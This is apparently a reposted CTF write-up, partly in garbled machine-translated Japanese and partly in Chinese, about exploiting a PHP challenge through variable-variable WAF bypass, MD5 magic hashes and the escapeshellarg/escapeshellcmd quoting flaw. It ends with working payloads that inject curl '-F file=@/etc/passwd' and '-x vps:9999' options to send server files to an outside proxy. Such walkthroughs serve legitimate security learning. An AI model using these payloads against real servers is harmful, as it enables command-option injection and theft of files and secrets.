[赤]にescapeshellarg Day5-CTFの脆弱性とescapeshellcmd

運動の記録

コードを再現:

index.phpを

//index.php
<?php
highlight_file('index.php');
function waf($a){
    foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
            exit('are you a hacker');
        }
    }
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
    if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
    }

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
    if($_GET['flag'] === $_GET['hongri']){
        exit('error');
    }
    if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
        $url = $_GET['url'];
        $urlInfo = parse_url($url);
        if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
            die( "scheme error!");
        }
        $url = escapeshellarg($url);
        $url = escapeshellcmd($url);
        system("curl ".$url);
    }
}
?>

flag.php

// flag.php
<?php
$flag = "HRCTF{Are_y0u_maz1ng}";
?>

脆弱性分析:

サイトを入力します。

http://10.211.55.5/PHPcode/day5/index.php

ここに画像を挿入説明

正しくページを発見、あなたが動作することができます。

この質問はと組み合わせ、主にグローバル変数カバレッジ上でunsetバイパスする機能waf、などでcurlファイルを読み込むと、コードはその後、我々は二つの部分でそれを見ていきます。

最初の部分:

私たちは、参照第10-13行コードを:

foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
    if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
    }

}

まず第1行、サイクルは、文字列を受け取りGET、POST、COOKIE、そして今度は変数に代入します$__R第2行第一の判定$$__R変数存在する場合、スーパーグローバル配列を決定していき、データが存在するGET、POST、COOKIE同じキーが存在する場合、存在する場合、その変数を削除します。ここだ可变变量あなたはそれを理解する必要がコンセプト。

可变变量指的是: 一个变量的变量名可以动态的设置和使用。一个可变变量获取了一个普通变量的值作为其变量名。
たとえば、理解促進:

<?php
$a="hello";
$$a="world";
var_dump($a,$$a,$hello)
?>

ここに画像を挿入説明
本明細書中で使用される$$を通じて变量a取得したデータ、新たな変数として登録します(这里是 变量hello )そして、変数見つける$$a出力データと変数を$hello一貫性のある出力データを(如上图,输出为 world)。

GET要求index.php提出されflag=test、続いPOST要求を提出します_GET[flag]=testスタートがトラバースすると$_POST、スーパーグローバル配列$__k代表は_GET[flag]、その$$__kことを$_GET[flag]そのtest値が、今回は$$__k == $__v設定を、変数$_GET[flag]でしたunsetしかし、ライン22およびライン23は、コードの、このような文字列があります。

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

extract 函数作用是将对象内的键名变成一个变量名,而这个变量对应的值就是这个键名的值。
EXTR_SKIP 参数表示如果前面存在此变量,不对前面的变量进行覆盖处理。

由于我们前面通过 POST 请求提交 _GET[flag]=test,所以这里会变成 $_GET[flag]=test,这里的 $_GET 变量就不需要再经过waf函数检测了,也就绕过了 preg_match('/flag/i',$key)的限制。下面举个extract函数用例:

<?php
$b=3;
$a=array('b'=>'1');
extract($a);
print_r($b);
?>

结果为:1

接着到了25行比较两个变量的md5值,我们构造出20e开头的md5即可绕过,这样就进入第二阶段。

第二部分:

第二阶段主要考察 curl读取文件。这里主要加了两个坑,我们之前说过的两个函数 escapeshellarg()escapeshellcmd() 一起使用的时候会造成的问题,主要看看这部分代码。

if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
        $url = $_GET['url'];
        $urlInfo = parse_url($url);
        if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
            die( "scheme error!");
        }
        $url = escapeshellarg($url);
        $url = escapeshellcmd($url);
        system("curl ".$url);
    }

这里的 第7行第8行增加了两个过滤。

  • escapeshellarg :将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
  • escapeshellcmd :会对以下的字符进行转义&#;|*?~<>^()[]{}$, x0A 和 xFF, ' 和 "仅在不配对的时候被转义。

例如:

ここに画像を挿入説明
在字符串增加了引号同时会进行转义,那么之前的payload

http://127.0.0.1/index1.php?url=http://127.0.0.1 -T /etc/passwd

因为增加了 '进行了转义,所以整个字符串会被当成参数。注意 escapeshellcmd的问题是在于如果'"仅在不配对的时候被转义。那么如果我们多增加一个'就可以扰乱之前的转义了。如下:
ここに画像を挿入説明
curl中存在-F提交表单的方法,也可以提交文件。-F <key=value>向服务器POST表单,例如: curl -F "[email protected];type=text/html" url.com。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了,同时还不受最后的的影响。那么最后的payload为:

http://baidu.com/' -F file=@/etc/passwd -x  vps:9999

ここに画像を挿入説明
ここではそれがあるべきであり、curl関係を解放し、私は7.54.0何のテストが成功しないの下。
ここに画像を挿入説明
タイトルcurlバージョン7.19.7

ここに画像を挿入説明
憶測によると、新バージョンでは、それが最初に実行されますかもしれcurl http操作を、しかしにより例えば背中の増加にhttp://127.0.0.1、しかしcurl、そのようなファイルを見つけることができない、表示されます404表示された404書類の提出の背後に操作した後は、プログラムが終了を行いません。だからvpsトップがファイルを受信することはできません。

したがって、この最後の質問はpayloadこれです:

POST /index.php?flag=QNKCDZO&hongri=s878926199a&url=http://baidu.com/' -F file=@/var/www/html/flag.php -x  vps:9999 HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=om11lglr53tm1htliteav4uhk4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

_GET[flag]=QNKCDZO&_GET[hongri]=s878926199a&_GET[url]=http://baidu.com/' -F file=@/var/www/html/flag.php -x  vps:9999

この質問は、正常に再生されません何のLinux環境ではありません

公開された35元の記事 ウォン称賛19 ビュー5200

おすすめ

転載: blog.csdn.net/zhangpen130/article/details/103939281